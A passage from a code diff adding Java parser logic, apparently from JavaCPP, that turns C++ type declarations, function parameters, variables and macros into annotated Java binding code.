+                type.cppName += token;
+            }
+        }
+        boolean pointer = type.cppName.endsWith("*");
+        boolean reference = type.cppName.endsWith("&");
+        if (pointer || reference) {
+            type.cppName = type.cppName.substring(0, type.cppName.length() - 1);
+        }
+        if (context.templateMap != null && context.templateMap.get(type.cppName) != null) {
+            type.cppName = context.templateMap.get(type.cppName);
+        }
+        int namespace = type.cppName.lastIndexOf("::");
+        int template = type.cppName.indexOf('<');
+        type.javaName = namespace >= 0 && template < 0 ? type.cppName.substring(namespace + 2) : type.cppName;
+        Info info = null;
+        for (String name : context.qualify(type.cppName)) {
+            if ((info = infoMap.getFirst(name, false)) != null) {
+                type.cppName = name;
+                break;
+            } else if (infoMap.getFirst(name) != null) {
+                type.cppName = name;
+            }
+        }
+        boolean valueType = false;
+        if (info != null) {
+            if (!pointer && !reference && info.valueTypes != null && info.valueTypes.length > 0) {
+                type.javaName = info.valueTypes[0];
+                valueType = true;
+            } else if (info.pointerTypes != null && info.pointerTypes.length > 0) {
+                type.javaName = info.pointerTypes[0];
+            }
+        }
+        if (type.operator) {
+            if (type.constValue) {
+                type.annotations += "@Const ";
+            }
+            if (!valueType && !pointer && !reference) {
+                type.annotations += "@ByVal ";
+            } else if (!valueType && !pointer && reference) {
+                type.annotations += "@ByRef ";
+            }
+            type.annotations += "@Name(\"operator " + (type.constValue ? "const " : "")
+                    + type.cppName + (pointer ? "*" : reference ? "&" : "") + "\") ";
+        }
+        if (info != null && info.annotations != null) {
+            for (String s : info.annotations) {
+                type.annotations += s + " ";
+            }
+        }
+        if (context.group != null && type.javaName.length() > 0) {
+            if (type.cppName.equals(context.group.cppName)) {
+                type.constructor = !type.destructor && !type.operator && tokens.get().match('(');
+            }
+            type.javaName = context.shorten(type.javaName);
+        }
+        return type;
+    }
+
+    static class Declarator {
+        Type type = null;
+        Parameters parameters = null;
+        Declaration definition = null;
+        int infoNumber = 0, indices = 0;
+        boolean constPointer = false;
+        String cppName = "", javaName = "", signature = "";
+    }
+
+    Declarator declarator(Context context, String defaultName, int infoNumber, boolean useDefaults,
+            int varNumber, boolean arrayAsPointer, boolean pointerAsArray) throws Exception {
+        boolean typedef = tokens.get().match(Token.TYPEDEF);
+        boolean using = tokens.get().match(Token.USING);
+        Declarator dcl = new Declarator();
+        Type type = type(context);
+        if (type == null) {
+            return null;
+        }
+        Attribute attr = null;
+        if (type.attributes != null) {
+            for (Attribute a : type.attributes) {
+                if (a.arguments.length() > 0 && Character.isJavaIdentifierStart(a.arguments.charAt(0))) {
+                    attr = a;
+                    for (char c : a.arguments.toCharArray()) {
+                        if (!Character.isJavaIdentifierPart(c)) {
+                            attr = null;
+                            break;
+                        }
+                    }
+                }
+                if (attr != null) {
+                    break;
+                }
+            }
+        }
+
+        int count = 0;
+        for (Token token = tokens.get(); varNumber > 0 && !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match('(','[','{')) {
+                count++;
+            } else if (token.match(')',']','}')) {
+                count--;
+            } else if (count > 0) {
+                continue;
+            } else if (token.match(',')) {
+                varNumber--;
+            } else if (token.match(';')) {
+                tokens.next();
+                return null;
+            }
+        }
+
+        String cast = type.cppName;
+        int indirections = 0;
+        boolean reference = false;
+        for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.match('*')) {
+                indirections++;
+            } else if (token.match('&')) {
+                reference = true;
+            } else if (token.match(Token.CONST)) {
+                dcl.constPointer = true;
+            } else {
+                break;
+            }
+            cast += token;
+        }
+        if (indirections == 0 && reference) {
+            cast = cast.replace('&', '*');
+        }
+
+        int dims[] = new int[256];
+        int indirections2 = 0;
+        dcl.cppName = "";
+        Info groupInfo = null;
+        Declaration definition = new Declaration();
+        boolean operator = false;
+        if (tokens.get().match('(')) {
+            // probably a function pointer declaration
+            while (tokens.get().match('(')) {
+                tokens.next();
+            }
+            for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+                if (token.match(Token.IDENTIFIER, "::")) {
+                    dcl.cppName += token;
+                } else if (token.match('*')) {
+                    indirections2++;
+                    if (dcl.cppName.endsWith("::")) {
+                        dcl.cppName = dcl.cppName.substring(0, dcl.cppName.length() - 2);
+                        for (String name : context.qualify(dcl.cppName)) {
+                            if ((groupInfo = infoMap.getFirst(name, false)) != null) {
+                                dcl.cppName = name;
+                                break;
+                            } else if (infoMap.getFirst(name) != null) {
+                                dcl.cppName = name;
+                            }
+                        }
+                        definition.text += "@Namespace(\"" + dcl.cppName + "\") ";
+                    } else if (dcl.cppName.length() > 0) {
+                        definition.text += "@Convention(\"" + dcl.cppName + "\") ";
+                    }
+                    dcl.cppName = "";
+                } else if (token.match('[')) {
+                    Token n = tokens.get(1);
+                    dims[dcl.indices++] = n.match(Token.INTEGER) ? Integer.parseInt(n.value) : -1;
+                } else if (token.match(')')) {
+                    tokens.next();
+                    break;
+                }
+            }
+            while (tokens.get().match(')')) {
+                tokens.next();
+            }
+        } else if (tokens.get().match(Token.IDENTIFIER)) {
+            for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+                if (token.match("::")) {
+                    dcl.cppName += token;
+                } else if (token.match(Token.OPERATOR)) {
+                    operator = true;
+                    dcl.cppName += "operator" + tokens.next();
+                    for (token = tokens.next(); !token.match(Token.EOF, '('); token = tokens.next()) {
+                        dcl.cppName += token;
+                    }
+                    break;
+                } else if (token.match('<')) {
+                    // template argument
+                    dcl.cppName += token;
+                    int count2 = 0;
+                    for (token = tokens.next(); !token.match(Token.EOF); token = tokens.next()) {
+                        dcl.cppName += token;
+                        if (count2 == 0 && token.match(',', '>')) {
+                            break;
+                        } else if (token.match('<')) {
+                            count2++;
+                        } else if (token.match('>')) {
+                            count2--;
+                        }
+                    }
+                } else if (token.match(Token.IDENTIFIER) &&
+                        (dcl.cppName.length() == 0 || dcl.cppName.endsWith("::"))) {
+                    dcl.cppName += token;
+                } else {
+                    break;
+                }
+            }
+        }
+        if (dcl.cppName.length() == 0) {
+            dcl.cppName = defaultName;
+        }
+
+        boolean bracket = false;
+        for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+            if (!bracket && token.match('[')) {
+                bracket = true;
+                Token n = tokens.get(1);
+                dims[dcl.indices++] = n.match(Token.INTEGER) ? Integer.parseInt(n.value) : -1;
+            } else if (!bracket) {
+                break;
+            } else if (bracket && token.match(']')) {
+                bracket = false;
+            }
+        }
+        while (dcl.indices > 0 && indirections2 > 0) {
+            // treat complex combinations of arrays and pointers as multidimensional arrays
+            dims[dcl.indices++] = -1;
+            indirections2--;
+        }
+        if (arrayAsPointer && dcl.indices > 0) {
+            // treat array as an additional indirection
+            indirections++;
+            String dimCast = "";
+            for (int i = 1; i < dcl.indices; i++) {
+                if (dims[i] > 0) {
+                    dimCast += "[" + dims[i] + "]";
+                }
+            }
+            //dcl.indices = 0;
+            cast += dimCast.length() > 0 ? "(*)" + dimCast : "*";
+        }
+        if (pointerAsArray && indirections > (type.anonymous ? 0 : 1)) {
+            // treat second indirection as an array, unless anonymous
+            dims[dcl.indices++] = -1;
+            indirections--;
+            cast = cast.substring(0, cast.length() - 1);
+        }
+
+        if (tokens.get().match(':')) {
+            // ignore bitfields
+            type.annotations += "@NoOffset ";
+            tokens.next().expect(Token.INTEGER);
+            tokens.next().expect(',', ';');
+        }
+
+        int infoLength = 1;
+        boolean valueType = false, needCast = arrayAsPointer && dcl.indices > 1, implicitConst = false;
+        String prefix = type.constValue && indirections < 2 && !reference ? "const " : "";
+        Info info = infoMap.getFirst(prefix + type.cppName, false);
+        if (!typedef && (info == null || (info.cppTypes != null && info.cppTypes.length > 0))) {
+            // substitute template types that have no info with appropriate adapter annotation
+            Type type2 = type;
+            if (info != null) {
+                type2 = new Parser(this, info.cppTypes[0]).type(context);
+            }
+            LinkedList<Info> infoList = infoMap.get(type2.cppName);
+            for (Info info2 : infoList) {
+                if (type2.arguments != null && info2.annotations != null) {
+                    indirections = 1;
+                    reference = false;
+                    type = type2.arguments[0];
+                    cast = type.cppName + "*";
+                    for (String s : info2.annotations) {
+                        type.annotations += s + " ";
+                    }
+                    info = infoMap.getFirst(type.cppName, false);
+                    break;
+                }
+            }
+        }
+        if (!using && info != null) {
+            valueType = info.valueTypes != null && ((type.constValue && reference) ||
+                    (indirections == 0 && !reference) || info.pointerTypes == null);
+            implicitConst = info.cppNames[0].startsWith("const ");
+            infoLength = valueType ? info.valueTypes.length :
+                    info.pointerTypes != null ? info.pointerTypes.length : 1;
+            dcl.infoNumber = infoNumber < 0 ? 0 : infoNumber % infoLength;
+            type.javaName = valueType ? info.valueTypes[dcl.infoNumber] :
+                    info.pointerTypes != null ? info.pointerTypes[dcl.infoNumber] : type.javaName;
+            type.javaName = context.shorten(type.javaName);
+            needCast |= info.cast && !type.cppName.equals(type.javaName);
+        }
+
+        if (!valueType) {
+            if (indirections == 0 && !reference) {
+                type.annotations += "@ByVal ";
+            } else if (indirections == 0 && reference) {
+                type.annotations += "@ByRef ";
+            } else if (indirections == 1 && reference) {
+                type.annotations += "@ByPtrRef ";
+            } else if (indirections == 2 && !reference && infoNumber >= 0) {
+                type.annotations += "@ByPtrPtr ";
+                needCast |= type.cppName.equals("void");
+            } else if (indirections >= 2) {
+                dcl.infoNumber += infoLength;
+                needCast = true;
+                type.javaName = "PointerPointer";
+                if (reference) {
+                    type.annotations += "@ByRef ";
+                }
+            }
+
+            if (!needCast && type.constValue && !implicitConst) {
+                type.annotations = "@Const " + type.annotations;
+            }
+        }
+        if (needCast) {
+            if (type.constValue) {
+                cast = "const " + cast;
+            }
+            if (!valueType && indirections == 0 && !reference) {
+                type.annotations += "@Cast(\"" + cast + "*\") ";
+            } else {
+                type.annotations = "@Cast(\"" + cast + "\") " + type.annotations;
+            }
+        }
+
+        dcl.javaName = attr != null ? attr.arguments : dcl.cppName;
+        for (String name : context.qualify(dcl.cppName)) {
+            if ((info = infoMap.getFirst(name, false)) != null) {
+                dcl.cppName = name;
+                break;
+            } else if (infoMap.getFirst(name) != null) {
+                dcl.cppName = name;
+            }
+        }
+        if (attr == null && defaultName == null && info != null && info.javaNames != null && info.javaNames.length > 0
+                && (operator || !info.cppNames[0].contains("<") || (context.templateMap != null && context.templateMap.type == null))) {
+            dcl.javaName = info.javaNames[0];
+        }
+        if (dcl.cppName != null) {
+            String localName = dcl.cppName;
+            if (localName.startsWith(context.namespace + "::")) {
+                localName = dcl.cppName.substring(context.namespace.length() + 2);
+            }
+            if (!localName.equals(dcl.javaName)) {
+                type.annotations += "@Name(\"" + localName + "\") ";
+            }
+        }
+
+        dcl.signature = dcl.javaName;
+        dcl.parameters = parameters(context, infoNumber, useDefaults);
+        if (dcl.parameters != null) {
+            dcl.infoNumber = Math.max(dcl.infoNumber, dcl.parameters.infoNumber);
+            if (indirections2 == 0) {
+                dcl.signature += dcl.parameters.signature;
+            } else {
+                String functionType = Character.toUpperCase(dcl.javaName.charAt(0)) + dcl.javaName.substring(1);
+                if (typedef) {
+                    functionType = dcl.javaName;
+                } else if (dcl.parameters.signature.length() > 0) {
+                    functionType += dcl.parameters.signature;
+                } else if (!type.javaName.equals("void")) {
+                    functionType = type.javaName + "_" + functionType;
+                }
+                definition.text += (tokens.get().match(Token.CONST) ? "@Const " : "") +
+                        "public static class " + functionType + " extends FunctionPointer {\n" +
+                        "    static { Loader.load(); }\n" +
+                        "    public    " + functionType + "(Pointer p) { super(p); }\n" +
+                    (groupInfo != null ? "" :
+                        "    protected " + functionType + "() { allocate(); }\n" +
+                        "    private native void allocate();\n") +
+                        "    public native " + type.annotations + type.javaName + " call" +
+                    (groupInfo != null ? "(" + groupInfo.pointerTypes[0] + " o" + (dcl.parameters.list.charAt(1) == ')' ?
+                            ")" : ", " + dcl.parameters.list.substring(1)) : dcl.parameters.list) + ";\n" +
+                        "}\n";
+                definition.signature = functionType;
+                definition.declarator = new Declarator();
+                definition.declarator.parameters = dcl.parameters;
+                dcl.definition = definition;
+                dcl.parameters = null;
+                type.annotations = "";
+                type.javaName = functionType;
+            }
+        }
+        dcl.type = type;
+        return dcl;
+    }
+
+    String commentBefore() throws Exception {
+        String comment = "";
+        tokens.raw = true;
+        while (tokens.index > 0 && tokens.get(-1).match(Token.COMMENT)) {
+            tokens.index--;
+        }
+        boolean closeComment = false;
+        for (Token token = tokens.get(); token.match(Token.COMMENT); token = tokens.next()) {
+            String s = token.value;
+            if (s.startsWith("/**") || s.startsWith("/*!") || s.startsWith("///") || s.startsWith("//!")) {
+                if (s.charAt(3) == '<') {
+                    continue;
+                } else if (s.startsWith("/// ") || s.startsWith("//!")) {
+                    s = (comment.length() == 0 || comment.contains("*/")
+                            || !comment.contains("/*") ? "/**" : " * ") + s.substring(3);
+                    closeComment = true;
+                } else if (!s.startsWith("///")) {
+                    s = "/**" + s.substring(3);
+                }
+            }
+            comment += token.spacing + s;
+        }
+        if (closeComment && !comment.endsWith("*/")) {
+            comment += " */";
+        }
+        tokens.raw = false;
+        return comment;
+    }
+
+    String commentAfter() throws Exception {
+        String comment = "";
+        tokens.raw = true;
+        while (tokens.index > 0 && tokens.get(-1).match(Token.COMMENT)) {
+            tokens.index--;
+        }
+        boolean closeComment = false;
+        for (Token token = tokens.get(); token.match(Token.COMMENT); token = tokens.next()) {
+            String s = token.value;
+            if (s.startsWith("/**") || s.startsWith("/*!") || s.startsWith("///") || s.startsWith("//!")) {
+                if (s.charAt(3) != '<') {
+                    continue;
+                } else if (s.startsWith("///") || s.startsWith("//!")) {
+                    s = (comment.length() == 0 || comment.contains("*/")
+                            || !comment.contains("/*") ? "/**" : " * ") + s.substring(4);
+                    closeComment = true;
+                } else {
+                    s = "/**" + s.substring(4);
+                }
+                comment += s;
+            }
+        }
+        if (closeComment && !comment.endsWith("*/")) {
+            comment += " */";
+        }
+        if (comment.length() > 0) {
+            comment += "\n";
+        }
+        tokens.raw = false;
+        return comment;
+    }
+
+
+    static class Attribute {
+        boolean annotation = false;
+        String cppName = "", javaName = "", arguments = "";
+    }
+
+    Attribute attribute() throws Exception {
+        if (!tokens.get().match(Token.IDENTIFIER)) {
+            return null;
+        }
+        Attribute attr = new Attribute();
+        Info info = infoMap.getFirst(attr.cppName = tokens.get().value);
+        if (attr.annotation = info != null && info.annotations != null
+                && info.valueTypes == null && info.pointerTypes == null) {
+            for (String s : info.annotations) {
+                attr.javaName += s + " ";
+            }
+        }
+        if (!tokens.next().match('(')) {
+            return attr;
+        }
+
+        int count = 1;
+        tokens.raw = true;
+        for (Token token = tokens.next(); !token.match(Token.EOF) && count > 0; token = tokens.next()) {
+            if (token.match('(')) {
+                count++;
+            } else if (token.match(')')) {
+                count--;
+            } else {
+                attr.arguments += token.value;
+            }
+        }
+        tokens.raw = false;
+        return attr;
+    }
+
+    String body() throws Exception {
+        if (!tokens.get().match('{')) {
+            return null;
+        }
+
+        int count = 1;
+        tokens.raw = true;
+        for (Token token = tokens.next(); !token.match(Token.EOF) && count > 0; token = tokens.next()) {
+            if (token.match('{')) {
+                count++;
+            } else if (token.match('}')) {
+                count--;
+            }
+        }
+        tokens.raw = false;
+        return "";
+    }
+
+
+    static class Parameters {
+        Declarator[] declarators = null;
+        int infoNumber = 0;
+        String list = "", signature = "", names = "";
+    }
+
+    Parameters parameters(Context context, int infoNumber, boolean useDefaults) throws Exception {
+        if (!tokens.get().match('(')) {
+            return null;
+        }
+
+        int count = 0;
+        Parameters params = new Parameters();
+        ArrayList<Declarator> dcls = new ArrayList<Declarator>();
+        params.list = "(";
+        params.names = "(";
+        for (Token token = tokens.next(); !token.match(Token.EOF); token = tokens.get()) {
+            String spacing = token.spacing;
+            if (token.match(')')) {
+                params.list += spacing + ")";
+                params.names += ")";
+                tokens.next();
+                break;
+            }
+            Declarator dcl = declarator(context, "arg" + count++, infoNumber, useDefaults, 0, true, false);
+            boolean hasDefault = !tokens.get().match(',', ')');
+            if (dcl != null && !dcl.type.javaName.equals("void") && (!hasDefault || !useDefaults)) {
+                params.infoNumber = Math.max(params.infoNumber, dcl.infoNumber);
+                params.list += (count > 1 ? "," : "") + spacing + dcl.type.annotations + dcl.type.javaName + " " + dcl.javaName;
+                params.signature += '_';
+                for (char c : dcl.type.javaName.substring(dcl.type.javaName.lastIndexOf(' ') + 1).toCharArray()) {
+                    params.signature += Character.isJavaIdentifierPart(c) ? c : '_';
+                }
+                params.names += (count > 1 ? ", " : "") + dcl.javaName;
+                if (dcl.javaName.startsWith("arg")) {
+                    try {
+                        count = Integer.parseInt(dcl.javaName.substring(3)) + 1;
+                    } catch (NumberFormatException e) { /* don't care if not int */ }
+                }
+            }
+            if (!hasDefault || !useDefaults) {
+                dcls.add(dcl);
+            }
+            if (hasDefault) {
+                // output default argument as a comment
+                if (!useDefaults) {
+                    params.list += "/*" + tokens.get();
+                }
+                int count2 = 0;
+                for (token = tokens.next(), token.spacing = ""; !token.match(Token.EOF); token = tokens.next()) {
+                    if (count2 == 0 && token.match(',', ')')) {
+                        break;
+                    } else if (token.match('(')) {
+                        count2++;
+                    } else if (token.match(')')) {
+                        count2--;
+                    }
+                    if (!useDefaults) {
+                        params.list += token.spacing + token;
+                    }
+                }
+                if (!useDefaults) {
+                    params.list += "*/";
+                }
+            }
+            if (tokens.get().expect(',', ')').match(',')) {
+                tokens.next();
+            }
+        }
+        params.declarators = dcls.toArray(new Declarator[dcls.size()]);
+        return params;
+    }
+
+    boolean function(Context context, DeclarationList declList) throws Exception {
+        int backIndex = tokens.index;
+        String spacing = tokens.get().spacing;
+        String modifiers = "public native ";
+        Type type = type(context);
+        Parameters params = parameters(context, 0, false);
+        Declarator dcl = new Declarator();
+        Declaration decl = new Declaration();
+        if (type.javaName.length() == 0) {
+            // not a function, probably an attribute
+            tokens.index = backIndex;
+            return false;
+        } else if (context.group == null && params != null) {
+            // this is a constructor definition or specialization, skip over
+            if (tokens.get().match('{')) {
+                body();
+            } else {
+                tokens.next();
+            }
+            decl.text = spacing;
+            declList.add(decl);
+            return true;
+        } else if (type.constructor || type.destructor || type.operator) {
+            // this is a constructor, destructor, or cast operator
+            dcl.type = type;
+            dcl.parameters = params;
+            dcl.cppName = type.cppName;
+            dcl.javaName = type.javaName.substring(type.javaName.lastIndexOf(' ') + 1);
+            if (type.operator) {
+                dcl.cppName = "operator " + dcl.cppName;
+                dcl.javaName = "as" + Character.toUpperCase(dcl.javaName.charAt(0)) + dcl.javaName.substring(1);
+            }
+            dcl.signature = dcl.javaName + params.signature;
+        } else {
+            tokens.index = backIndex;
+            dcl = declarator(context, null, 0, false, 0, false, false);
+            type = dcl.type;
+        }
+
+        int namespace = dcl.cppName.lastIndexOf("::");
+        if (context.namespace != null && namespace < 0) {
+            dcl.cppName = context.namespace + "::" + dcl.cppName;
+        }
+        Info info = infoMap.getFirst(dcl.cppName);
+        String localName = dcl.cppName;
+        if (localName.startsWith(context.namespace + "::")) {
+            localName = dcl.cppName.substring(context.namespace.length() + 2);
+        }
+        if (type.javaName.length() == 0 || dcl.parameters == null) {
+            tokens.index = backIndex;
+            return false;
+        } else if ((context.group == null && localName.contains("::")) || (info != null && info.skip)) {
+            // this is a member function definition or specialization, skip over
+            for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.get()) {
+                if (attribute() == null) {
+                    break;
+                }
+            }
+            if (tokens.get().match('{')) {
+                body();
+            } else {
+                tokens.next();
+            }
+            decl.text = spacing;
+            declList.add(decl);
+            return true;
+        } else if (type.staticMember || context.group == null) {
+            modifiers = "public static native ";
+        }
+
+        LinkedList<Declarator> prevDcl = new LinkedList<Declarator>();
+        boolean first = true;
+        for (int n = -2; n < Integer.MAX_VALUE; n++) {
+            decl = new Declaration();
+            tokens.index = backIndex;
+            if (type.constructor || type.destructor || type.operator) {
+                type = type(context);
+                params = parameters(context, n / 2, n % 2 != 0);
+                dcl = new Declarator();
+                dcl.type = type;
+                dcl.parameters = params;
+                dcl.cppName = type.cppName;
+                dcl.javaName = type.javaName.substring(type.javaName.lastIndexOf(' ') + 1);
+                if (type.operator) {
+                    dcl.cppName = "operator " + dcl.cppName;
+                    dcl.javaName = "as" + Character.toUpperCase(dcl.javaName.charAt(0)) + dcl.javaName.substring(1);
+                }
+                dcl.signature = dcl.javaName + params.signature;
+                if (tokens.get().match(':')) {
+                    for (Token token = tokens.next(); !token.match(Token.EOF); token = tokens.next()) {
+                        if (token.match('{', ';')) {
+                            break;
+                        }
+                    }
+                }
+            } else {
+                dcl = declarator(context, null, n / 2, n % 2 != 0, 0, false, false);
+                type = dcl.type;
+            }
+            decl.declarator = dcl;
+            if (context.namespace != null && context.group == null) {
+                decl.text += "@Namespace(\"" + context.namespace + "\") ";
+            }
+            if (type.constructor) {
+                decl.text += "public " + dcl.javaName + dcl.parameters.list + " { allocate" + params.names + "; }\n" +
+                             "private native void allocate" + dcl.parameters.list + ";\n";
+            } else {
+                decl.text += modifiers + type.annotations + type.javaName + " " + dcl.javaName + dcl.parameters.list + ";\n";
+            }
+            decl.signature = dcl.signature;
+
+            for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.get()) {
+                decl.constMember |= token.match(Token.CONST);
+                if (attribute() == null) {
+                    break;
+                }
+            }
+            if (tokens.get().match('{')) {
+                body();
+            } else {
+                if (tokens.get().match('=')) {
+                    tokens.next().expect("0");
+                    tokens.next().expect(';');
+                    decl.abstractMember = true;
+                }
+                tokens.next();
+            }
+            if (info != null && info.javaText != null) {
+                decl.text = info.javaText;
+                decl.declarator = null;
+            }
+            String comment = commentAfter();
+            if (first) {
+                first = false;
+                declList.spacing = spacing;
+                decl.text = comment + decl.text;
+            }
+
+            boolean found = false;
+            for (Declarator d : prevDcl) {
+                found |= dcl.signature.equals(d.signature);
+            }
+            if (dcl.javaName.length() > 0 && !found && !type.destructor) {
+                declList.add(decl);
+            } else if (found && n / 2 > 0 && n % 2 == 0) {
+                break;
+            }
+            prevDcl.add(dcl);
+        }
+        declList.spacing = null;
+        return true;
+    }
+
+    boolean variable(Context context, DeclarationList declList) throws Exception {
+        int backIndex = tokens.index;
+        String spacing = tokens.get().spacing;
+        String modifiers = "public static native ";
+        String setterType = "void ";
+        Declarator dcl = declarator(context, null, 0, false, 0, false, true);
+        Declaration decl = new Declaration();
+        String cppName = dcl.cppName;
+        String javaName = dcl.javaName;
+        if (javaName == null || !tokens.get().match('[', '=', ',', ':', ';')) {
+            tokens.index = backIndex;
+            return false;
+        } else if (!dcl.type.staticMember && context.group != null) {
+            modifiers = "public native ";
+            setterType = context.shorten(context.group.javaName) + " ";
+        }
+
+        int namespace = cppName.lastIndexOf("::");
+        if (context.namespace != null && namespace < 0) {
+            cppName = context.namespace + "::" + cppName;
+        }
+        Info info = infoMap.getFirst(cppName);
+        if (info != null && info.skip) {
+            decl.text = spacing;
+            declList.add(decl);
+            return true;
+        }
+        boolean first = true;
+        for (Declarator metadcl : context.variables != null ? context.variables : new Declarator[] { null }) {
+            for (int n = 0; n < Integer.MAX_VALUE; n++) {
+                decl = new Declaration();
+                tokens.index = backIndex;
+                dcl = declarator(context, null, -1, false, n, false, true);
+                if (dcl == null) {
+                    break;
+                }
+                decl.declarator = dcl;
+                javaName = dcl.javaName;
+                if (metadcl == null || metadcl.indices == 0 || dcl.indices == 0) {
+                    // arrays are currently not supported for both metadcl and dcl at the same time
+                    String indices = "";
+                    for (int i = 0; i < (metadcl == null || metadcl.indices == 0 ? dcl.indices : metadcl.indices); i++) {
+                        if (i > 0) {
+                            indices += ", ";
+                        }
+                        indices += "int " + (char)('i' + i);
+                    }
+                    if (context.namespace != null && context.group == null) {
+                        decl.text += "@Namespace(\"" + context.namespace + "\") ";
+                    }
+                    if (metadcl != null && metadcl.cppName.length() > 0) {
+                        decl.text += metadcl.indices == 0
+                                ? "@Name(\"" + metadcl.cppName + "." + dcl.cppName + "\") "
+                                : "@Name({\"" + metadcl.cppName + "\", \"." + dcl.cppName + "\"}) ";
+                        javaName = metadcl.javaName + "_" + dcl.javaName;
+                    }
+                    if (dcl.type.constValue) {
+                        decl.text += "@MemberGetter ";
+                    }
+                    decl.text += modifiers + dcl.type.annotations.replace("@ByVal ", "@ByRef ")
+                              + dcl.type.javaName + " " + javaName + "(" + indices + ");";
+                    if (!dcl.type.constValue) {
+                        if (indices.length() > 0) {
+                            indices += ", ";
+                        }
+                        decl.text += " " + modifiers + setterType + javaName + "(" + indices + dcl.type.javaName + " " + javaName + ");";
+                    }
+                    decl.text += "\n";
+                }
+                if (dcl.indices > 0) {
+                    // in the case of arrays, also add a pointer accessor
+                    tokens.index = backIndex;
+                    dcl = declarator(context, null, -1, false, n, true, false);
+                    String indices = "";
+                    for (int i = 0; i < (metadcl == null ? 0 : metadcl.indices); i++) {
+                        if (i > 0) {
+                            indices += ", ";
+                        }
+                        indices += "int " + (char)('i' + i);
+                    }
+                    if (context.namespace != null && context.group == null) {
+                        decl.text += "@Namespace(\"" + context.namespace + "\") ";
+                    }
+                    if (metadcl != null && metadcl.cppName.length() > 0) {
+                        decl.text += metadcl.indices == 0
+                                ? "@Name(\"" + metadcl.cppName + "." + dcl.cppName + "\") "
+                                : "@Name({\"" + metadcl.cppName + "\", \"." + dcl.cppName + "\"}) ";
+                        javaName = metadcl.javaName + "_" + dcl.javaName;
+                    }
+                    decl.text += "@MemberGetter " + modifiers + dcl.type.annotations.replace("@ByVal ", "@ByRef ")
+                              + dcl.type.javaName + " " + javaName + "(" + indices + ");\n";
+                }
+                decl.signature = dcl.signature;
+                if (info != null && info.javaText != null) {
+                    decl.text = info.javaText;
+                    decl.declarator = null;
+                }
+                while (!tokens.get().match(Token.EOF, ';')) {
+                    tokens.next();
+                }
+                tokens.next();
+                String comment = commentAfter();
+                if (first) {
+                    first = false;
+                    declList.spacing = spacing;
+                    decl.text = comment + decl.text;
+                }
+                decl.variable = true;
+                declList.add(decl);
+            }
+        }
+        declList.spacing = null;
+        return true;
+    }
+
+    boolean macro(Context context, DeclarationList declList) throws Exception {
+        int backIndex = tokens.index;
+        if (!tokens.get().match('#')) {
+            return false;
+        }
+        tokens.raw = true;
+        String spacing = tokens.get().spacing;
+        Token keyword = tokens.next();
+
+        tokens.next();
+        int beginIndex = tokens.index;
+        for (Token token = tokens.get(); !token.match(Token.EOF); token = tokens.next()) {
+            if (token.spacing.indexOf('\n') >= 0) {
+                break;
+            }
+        }
+        int endIndex = tokens.index;
+        while (tokens.get(-1).match(Token.COMMENT)) {
+            tokens.index--;
+        }
+        int lastIndex = tokens.index;
+
+        Declaration decl = new Declaration();
+        if (keyword.match(Token.DEFINE) && beginIndex + 1 < endIndex) {
+            tokens.index = beginIndex;
+            String macroName = tokens.get().value;
+            Token first = tokens.next();
+            boolean hasArgs = first.spacing.length() == 0 && first.match('(');
+            LinkedList<Info> infoList = infoMap.get(macroName);
+            for (Info info : infoList.size() > 0 ? infoList : Arrays.asList(new Info[] { null })) {
+                if (hasArgs && info == null) {
+                    // save declaration for expansion
+                    info = new Info(macroName).cppText("");
+                    tokens.index = backIndex;
+                    for (Token token = tokens.get(); tokens.index < endIndex; token = tokens.next()) {
+                        info.cppText += token.spacing + token;
+                    }
+                    infoMap.put(info);
+                } else if (info != null && info.cppText == null &&
+                        info.cppTypes != null && info.cppTypes.length > (hasArgs ? 0 : 1)) {
+                    // declare as a static native method
+                    LinkedList<Declarator> prevDcl = new LinkedList<Declarator>();
+                    for (int n = -1; n < Integer.MAX_VALUE; n++) {
+                        int count = 1;
+                        tokens.index = beginIndex + 2;
+                        String params = "(";
+                        for (Token token = tokens.get(); hasArgs && tokens.index < lastIndex
+                                && count < info.cppTypes.length; token = tokens.next()) {
+                            if (token.match(Token.IDENTIFIER)) {
+                                String type = info.cppTypes[count];
+                                String name = token.value;
+                                if (name.equals("...")) {
+                                    name = "arg" + count;
+                                }
+                                params += type + " " + name;
+                                if (++count < info.cppTypes.length) {
+                                    params += ", ";
+                                }
+                            } else if (token.match(')')) {
+                                break;
+                            }
+                        }
+                        while (count < info.cppTypes.length) {
+                            String type = info.cppTypes[count];
+                            String name = "arg" + count;
+                            params += type + " " + name;
+                            if (++count < info.cppTypes.length) {
+                                params += ", ";
+                            }
+                        }
+                        params += ")";
+
+                        Declarator dcl = new Parser(this, info.cppTypes[0] + " " + macroName + params).declarator(context, null, n, false, 0, false, false);
+                        for (int i = 0; i < info.cppNames.length; i++) {
+                            if (macroName.equals(info.cppNames[i]) && info.javaNames != null) {
+                                macroName = "@Name(\"" + info.cppNames[0] + "\") " + info.javaNames[i];
+                                break;
+                            }
+                        }
+
+                        boolean found = false;
+                        for (Declarator d : prevDcl) {
+                            found |= dcl.signature.equals(d.signature);
+                        }
+                        if (!found) {
+                            decl.text += "public static native " + dcl.type.annotations + dcl.type.javaName + " " + macroName + dcl.parameters.list + ";\n";
+                        } else if (found && n > 0) {
+                            break;
+                        }
+                        prevDcl.add(dcl);
+                    }
+                } else if (info == null || (info.cppText == null &&
+                        (info.cppTypes == null || info.cppTypes.length == 1))) {
+                    // declare as a static final variable
+                    String value = "";
+                    String type = "int";
+                    String cat = "";
+                    tokens.index = beginIndex + 1;
+                    Token prevToken = new Token();
+                    boolean translate = true;
+                    for (Token token = tokens.get(); tokens.index < lastIndex; token = tokens.next()) {
+                        if (token.match(Token.STRING)) {
+                            type = "String"; cat = " + "; break;
+                        } else if (token.match(Token.FLOAT)) {
+                            type = "double"; cat = ""; break;
+                        } else if (token.match(Token.INTEGER) && token.value.endsWith("L")) {
+                            type = "long"; cat = ""; break;
+                        } else if ((prevToken.match(Token.IDENTIFIER) && token.match('(')) || token.match('{', '}')) {
+                            translate = false;
+                        }
+                        prevToken = token;
+                    }
+                    if (info != null) {
+                        if (info.cppTypes != null) {
+                            Declarator dcl = new Parser(this, info.cppTypes[0]).declarator(context, null, -1, false, 0, false, true);
